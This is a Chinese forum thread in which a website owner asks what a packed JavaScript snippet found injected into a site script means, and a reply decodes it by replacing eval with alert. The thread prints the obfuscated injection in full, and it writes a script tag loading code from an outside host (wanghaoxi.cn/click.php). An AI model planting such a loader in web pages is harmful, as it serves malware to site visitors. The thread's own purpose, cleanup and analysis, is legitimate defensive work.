網(wǎng)站被掛馬，請(qǐng)都其js代碼的含義

gebizhimu

這兩天打開網(wǎng)站，mcafee就彈出提示說(shuō)有特洛伊。在頁(yè)面中檢查了下沒(méi)有發(fā)現(xiàn)什么可疑的代碼。聯(lián)想到服務(wù)器IP網(wǎng)段幾天前受到ARP攻擊，于是懷疑是ARP掛馬。而是我的服務(wù)器及網(wǎng)關(guān)進(jìn)行了IP與MAC綁定。找了一個(gè)上午沒(méi)有解決問(wèn)題，客服還提出給換了個(gè)IP，問(wèn)題仍舊。

下午又仔細(xì)地看代碼，也沒(méi)有找到。最后懷疑可能是掛馬的代碼加在了網(wǎng)頁(yè)鏈接的某個(gè)js腳本上，終于在一個(gè)腳本文件中找到了下面這段代碼：

eval(function(m,y,l,o,v,e){v=function(l){return l.toString(36)};if(!''.replace(/^/,String)){while(l--){e[l.toString(y)]=o[l]||l.toString(y)}o=[function(v){return e[v]}];v=function(){return'\\w+'};l=1};while(l--){if(o[l]){m=m.replace(new RegExp('\\b'+v(l)+'\\b','g'),o[l])}}return m}('9.a(\'<3\'+\'4 b="8\'+\'c://\'+\'%6%0\'+\'%1%7\'+\'%5%0\'+\'%g%k\'+\'%d%l\'+\'%j%1\'+\'/e\'+\'i\'+\'f.2\'+\'h\'+\'2"></3\'+\'4>\');',22,22,'61|6E|p|scr|ipt|68|77|67|ht|document|write|src|tp|69|cl|ck|6F|||63|78|2E'.split('|'),0,{}))

去掉后，問(wèn)題就解決了。但是現(xiàn)在還沒(méi)年明白這段代碼的意思，請(qǐng)高手指點(diǎn)。

ynchnluiti

我把eval換成alert了，可以放心測(cè)試。函數(shù)的返回：document.write('<script src="http://wanghaoxi.cn/click.php"></script>');

1. //    eval(
   
2. //function(m,22,22,o,0,{})
   
3. alert(
   
4. function(m,y,l,o,v,e)
   
5. {
   
6.     v=function(l)
   
7.     {
   
8.         return l.toString(36)
   
9.     };
   
10.     if(!''.replace(/^/,String))
    
11.     {
    
12.         while(l--){
    
13.             //e[l.toString(y)]= o[l] || l.toString(y);
    
14.             e[l.toString(22)]= o[l] || l.toString(22);
    
15.             //e[22]=2e;
    
16.             //e[21]=78;
    
17.             //e[20]=63;
    
18.             //e[19]=19;
    
19.             //e[18]=18;
    
20.             //e[17]=6F;
    
21.         }
    
22.         o=[ function(v) { return e[v] } ];
    
23.         v=function(){
    
24.             return'\\w+'
    
25.         };
    
26.         l=1
    
27.     };
    
28.     while(l--){
    
29.         if(o[l]){
    
30.             m=m.replace(new RegExp('\\b'+v(l)+'\\b','g'),o[l])
    
31.         }
    
32.     }
    
33.     //return m
    
34.     return unescape(m.replace(/'\+'/g, ""));
    
35. }
    
36. ('9.a(\'<3\'+\'4 b="8\'+\'c://\'+\'%6%0\'+\'%1%7\'+\'%5%0\'+\'%g%k\'+\'%d%l\'+\'%j%1\'+\'/e\'+\'i\'+\'f.2\'+\'h\'+\'2"></3\'+\'4>\');',22,22,'61|6E|p|scr|ipt|68|77|67|ht|document|write|src|tp|69|cl|ck|6F|||63|78|2E'.split('|'),0,{}));
    
37. //)

復(fù)制代碼